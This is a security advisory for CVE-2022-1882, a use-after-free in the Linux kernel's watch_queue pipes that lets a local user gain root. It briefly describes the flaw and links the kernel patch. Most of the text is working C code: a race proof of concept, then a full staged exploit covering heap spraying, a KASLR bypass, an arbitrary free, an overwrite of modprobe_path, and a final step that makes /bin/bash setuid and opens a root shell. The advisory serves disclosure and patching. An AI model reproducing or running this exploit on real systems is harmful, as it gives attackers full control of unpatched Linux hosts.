# SSD Advisory - Linux CONFIG_WATCH_QUEUE LPE
September 5, 2022 [SSD Disclosure / Technical Lead](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Technical Lead")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
A vulnerability in the way Linux handles the CONFIG_WATCH_QUEUE allows local
attackers to reach a race condition and use this to elevate their privileges
to root.
**Vulnerability Summary**
A use-after-free flaw was found in the Linux kernel's pipes functionality in
how a user performs manipulations with the pipe `post_one_notification()`
after `free_pipe_info()` that is already called. This flaw allows a local user
to crash or potentially escalate their privileges on the system.
****Credit****
The security researcher has reported this to the SSD Secure Disclosure
program.
**Affected Versions**
  * Ubuntu 20.04.x Desktop - 5.13.0-44-generic
**CVE**
CVE-2022-1882
**Vendor Response**
The Linux Kernel team has released a patch to address this vulnerability:
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=353f7988dd8413c47718f7ca79c030b6fb62cfe5>
**Vulnerability Analysis**
Due to the way `watch_queue` works, a pointer that is used may be freed prior
to it being accessed / freed again in the `add_watch_to_object()` and
`remove_watch_from_objec`t() function. This allows a local attack to trigger a
UAF which in turn can be exploited to execute arbitrary code with system
(root) privileges.
**Proof Of Concept**
```c
#define _GNU_SOURCE 
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32
uint64_t data[96/8];
void *func0(){
		cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(1, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}
void *func1(){
        cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(0, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}
int fpid1,fpid2;
int main(void){
	printf("[+] Main process PID: %d\n",getpid());
	uint64_t pipe_obj = 0xffff888100886000 + 0x30;
	//data[2] = 0x4141414141;
	data[3] = 0x6161616161; // wqueue->pipe
	data[5] = 0x7777777788888888;
	int fpid1 = fork();
	if (!fpid1) {
		func0();
	}
	printf("[+] Racer 1 PID: %d\n",fpid1);
	fpid2 = fork();
	if (!fpid2)
	{
		func1();
	}
	printf("[+] Racer 2 PID: %d\n",fpid2);
	usleep(500000);
	//sleep(1);
	kill(fpid1,SIGSEGV);
	kill(fpid2,SIGSEGV);
	return 0;
}
```
**Exploit**
```c
#define _GNU_SOURCE 
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <signal.h>
#include <linux/keyctl.h>
#include <fcntl.h>
// CHANGE THESE
uint64_t off_watch_queue_pipe_buf_ops = 0;
uint64_t off_modprobe_path = 0;
//////////////
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32
#define MSG_ERR "[-] Exploit was killed to prevent breaking up kernel heap layout, run the exploit again!"
#define SPRAY 1000
#define msgsnd(msqid, msgp, msgsz, msgflg) syscall(__NR_msgsnd,msqid,msgp,msgsz,msgflg)
#define msgrcv(msqid,msgp,msgsz,msgtyp,msgflg) syscall(__NR_msgrcv,msqid,msgp,msgsz,msgtyp,msgflg)
struct msg_buf{
    long mtype;
    char mtext[4096-48+1024-8];
};
struct msg_buf *data[SPRAY];
int key;
int pipefd[2];
int pipe_spray[SPRAY][2];
char desc[100];
int msqid[SPRAY];
pthread_barrier_t barrier,barrier2;
uint64_t data_key[96/8];
int fpid1,fpid2;
uint64_t pipe_obj[(1024-48)/8];
int oob_msg;
uint64_t next_msg;
uint64_t sec_next_msg;
uint64_t fake_obj_idx;
uint64_t target_obj_idx;
int stop = 0;
int byte;
char mem[10000];
uint64_t fake_obj;
uint64_t target_obj;
uint64_t watch_queue_pipe_buf_ops = 0;
uint64_t kbase = 0;
uint64_t modprobe_path = 0;
pthread_t th0, th1;
void *func3(){
        cpu_set_t mask = {0};
        CPU_ZERO(&mask);
        CPU_SET(1, &mask);
        sched_setaffinity(0, sizeof(cpu_set_t), &mask);
        int key;
        int pipefd[2];
        while(1){
            syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
            key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
            syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
            syscall(__NR_close,pipefd);
            syscall(__NR_close,pipefd[0]);
            syscall(__NR_close,pipefd[1]);
        }
}
void *func2(){
        cpu_set_t mask = {0};
        CPU_ZERO(&mask);
        CPU_SET(0, &mask);
        sched_setaffinity(0, sizeof(cpu_set_t), &mask);
        int key;
        int pipefd[2];
        while(1){
            syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
            key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
            syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
            syscall(__NR_close,pipefd);
            syscall(__NR_close,pipefd[0]);
            syscall(__NR_close,pipefd[1]);
        }
}
void *func0(){
    int ret = 0;
    cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    while(1){
        syscall(__NR_pipe2, pipefd, 0x80);
        key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
        syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0);
        syscall(__NR_ioctl, pipefd[1], 0x5760, 1);
        syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
        pthread_barrier_wait(&barrier2);
        pthread_barrier_wait(&barrier);
        syscall(__NR_close,pipefd);
        syscall(__NR_close,pipefd[0]);
        syscall(__NR_close,pipefd[1]);    
    for (int i = 0; i < SPRAY; i++){
        syscall(__NR_msgsnd,msqid[i],data[i],64-48,0);
        
    }
    for (size_t i = 0; i < SPRAY; i++){
            byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (byte > 0x10){
                
                memcpy(&next_msg,mem+40,8);
                printf("[+] oob msg id: %d\n",next_msg);
                next_msg--;
                oob_msg = i;
                stop = 1;
                pthread_exit(&ret);
            }    
        }
    
        for (size_t i = 0; i < SPRAY; i++){
            msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR);
        }
    }
}
void *func1(){
        cpu_set_t mask = {0};
        CPU_ZERO(&mask);
        CPU_SET(0, &mask);
        sched_setaffinity(0, sizeof(cpu_set_t), &mask);
        while(1){
            pthread_barrier_wait(&barrier2);
            pthread_barrier_wait(&barrier);
            for (size_t i = 0; i < 50; i++){
                syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
            }
            
        }
}
void init(){
    if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){
        puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!");
        exit(-1);
    }
    
    puts("[*] STAGE 1: Initialization");
    
    cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    for (size_t i = 0; i < SPRAY; i++)
    {
        data[i] = malloc(sizeof(struct msg_buf));
        data[i]->mtype = i + 1;
        memset(data[i]->mtext,'A',4096-48+1024-8);
    }
    
    memset(mem,0,sizeof(mem));
    pthread_barrier_init(&barrier,0,2);
    pthread_barrier_init(&barrier2,0,2);
    
    for (int i = 0; i < SPRAY; i++){
        msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); 
    }
}
void race(){
    puts("[*] STAGE 2: Racing OOB read");
        pthread_create(&th0,0,func0,0);
        pthread_create(&th1,0,func1,0);
        while(1){
            if (stop)
            {
                if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"\xff\xff",2)  && !memcmp(mem+24+6,"\xff\xff",2)){
                    pthread_cancel(th1);
                    break;
                }
                puts(MSG_ERR);
                exit(-1);
            }
        }
}
void objects(){
    cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    puts("[*] STAGE 3: Create fake object");
    
    msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0);
    
    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
    
   
    if (memcmp(mem+24+6,"\xff\xff",2) != 0)
    {
        puts(MSG_ERR);
        exit(-1);
    }
    memcpy(&fake_obj,mem+24,8);
    printf("[+] fake object: %#lx\n",fake_obj);
    
    
    puts("[*] STAGE 4: Create target object");
        for (size_t i = 0; i < SPRAY; i++)
    {
        if(i == oob_msg || i == next_msg){
            continue;
        }
        msgrcv(msqid[i],mem,10000,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
    }
    msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
    for (size_t i = 0; i < next_msg; i++)
    {
        msgsnd(msqid[i],data[i],64-48,0);
    }
    for (size_t i = next_msg + 1; i < SPRAY; i++)
    {
        msgsnd(msqid[i],data[i],64-48,0);
    }
    
    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
    
    memcpy(&sec_next_msg,mem+40,8);
    sec_next_msg--;
    printf("[+] reallocated secondary msg id: %d\n",sec_next_msg);
    msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0);
    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
    
    
    if (memcmp(mem+24+6,"\xff\xff",2) != 0)
    {
        puts(MSG_ERR);
        exit(-1);
    }
    memcpy(&target_obj,mem+24,8);
    printf("[+] target obj: %#lx\n",target_obj);
}
void kaslr(){
    puts("[*] STAGE 5: Bypass KASLR");
    for (size_t i = 0; i < SPRAY/2; i++){
        syscall(__NR_pipe2, pipe_spray[i], 0x80);
        
        sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
        key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
        syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0);
        
    }
    
    msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
    usleep(500000);
    for (size_t i = 0; i < SPRAY/2; i++){
        syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1);
    }
    
    for (size_t i = 0; i < SPRAY/2; i++){
        sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
        syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
    }
    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
    memcpy(&watch_queue_pipe_buf_ops,mem+40,8);
    
    if (memcmp(mem+40+6,"\xff\xff",2) != 0){
        puts(MSG_ERR);
        exit(-1);
    }
    
    kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops;
    modprobe_path = kbase + off_modprobe_path;
    
    printf("[+] watch_queue_pipe_buf_ops: %#lx\n",watch_queue_pipe_buf_ops);
    printf("[+] kbase: %#lx\n",kbase);
    printf("[+] modprobe_path: %#lx\n",modprobe_path);
    for (size_t i = 0; i < SPRAY/2; i++)
    {
        syscall(__NR_close,pipe_spray[i]);
        syscall(__NR_close,pipe_spray[i][0]);
        syscall(__NR_close,pipe_spray[i][1]);    
    }
    
}
void arb_free(){
    fake_obj_idx = next_msg;
    target_obj_idx = sec_next_msg;
    for (size_t i = 0; i < SPRAY; i++){
        if(i == fake_obj_idx || i == target_obj_idx){
            continue;
        }
        msgrcv(msqid[i],mem,64-48,i,IPC_NOWAIT | MSG_NOERROR);
        msgrcv(msqid[i],mem,10000,i,IPC_NOWAIT | MSG_NOERROR);
    }
    memset(&pipe_obj,0,sizeof(pipe_obj));
    pipe_obj[19] = fake_obj+0x8;
    pipe_obj[10] = 0x1;
    pipe_obj[11] = 0x0000000100000000;
    uint64_t tmp = target_obj-8;
    for (size_t i = 0; i < SPRAY; i++)
    {
        memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj));
        memset(data[i]->mtext+4048,0x45,1024);
        memcpy(data[i]->mtext+4048+64-8,&tmp,8);
    }
    msgrcv(msqid[fake_obj_idx],mem,4096-48+512-8,data[fake_obj_idx]->mtype,IPC_NOWAIT | MSG_NOERROR);
    for (size_t i = 0; i < target_obj_idx; i++)
    {
        msgsnd(msqid[i],data[i],4096-48+512-8,0);
    }
    for (size_t i = 0; i < target_obj_idx; i++)
    {
        msgsnd(msqid[i],data[i],4096-48+512-8,0);
    }
    data_key[3] = fake_obj+0x30;
    data_key[5] = 0x7777777788888888;
    fpid1 = fork();
    if (!fpid1) {
        func2();
    }
    printf("[+] Racer 1 PID: %d\n",fpid1);
    fpid2 = fork();
    if (!fpid2)
    {
        func3();
    }
    printf("[+] Racer 2 PID: %d\n",fpid2);
    usleep(500000);
    kill(fpid1,SIGSEGV);
    kill(fpid2,SIGSEGV);
    ////////////////////////////
    uint64_t fake_msg[48+8];
    memset(&fake_msg,0,sizeof(fake_msg));
    fake_msg[0] = modprobe_path-8;
    memcpy(&fake_msg[1],"/tmp/xx",8);
    fake_msg[2] = 0x100;
    fake_msg[3] = 0x3d0;
    
    for (size_t i = 0; i < SPRAY; i++){
        memset(data[i]->mtext+4048,0x47,1024);
        memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg));
    }
    for (size_t i = 0; i < SPRAY; i++){
        if (i == target_obj_idx)
        {
            continue;
        }
        msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
        msgsnd(msqid[i],data[i],4096-48+1024-8-64,0);
        
    }
    if (!fork())
    {
        msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR);
    }
    
    sleep(2);
    
    
}
void get_root(){
    puts("[*] STAGE 7: Getting root!");
    char code[] = "\xff\xff\xff\xff";
    int fd1 = open("/tmp/abc",O_CREAT | O_RDWR);
    chmod("/tmp/abc",0777);
    write(fd1,code,sizeof(code) - 1);
    char code2[] = "#!/bin/sh\nchmod u+s /bin/bash\n";
    int fd2 = open("/tmp/xx",O_CREAT | O_RDWR);
    chmod("/tmp/xx",0777);
    write(fd2,code2,sizeof(code2));
    close(fd1);
    close(fd2);
    system("/tmp/abc");
    unlink("/tmp/abc");
    unlink("/tmp/xx");
    system("/bin/bash -p");
    
}
int main(void){
    init();
    race();
    objects();
    kaslr();
    arb_free();
    get_root();
}
```
                       
                       
        
          
暂无评论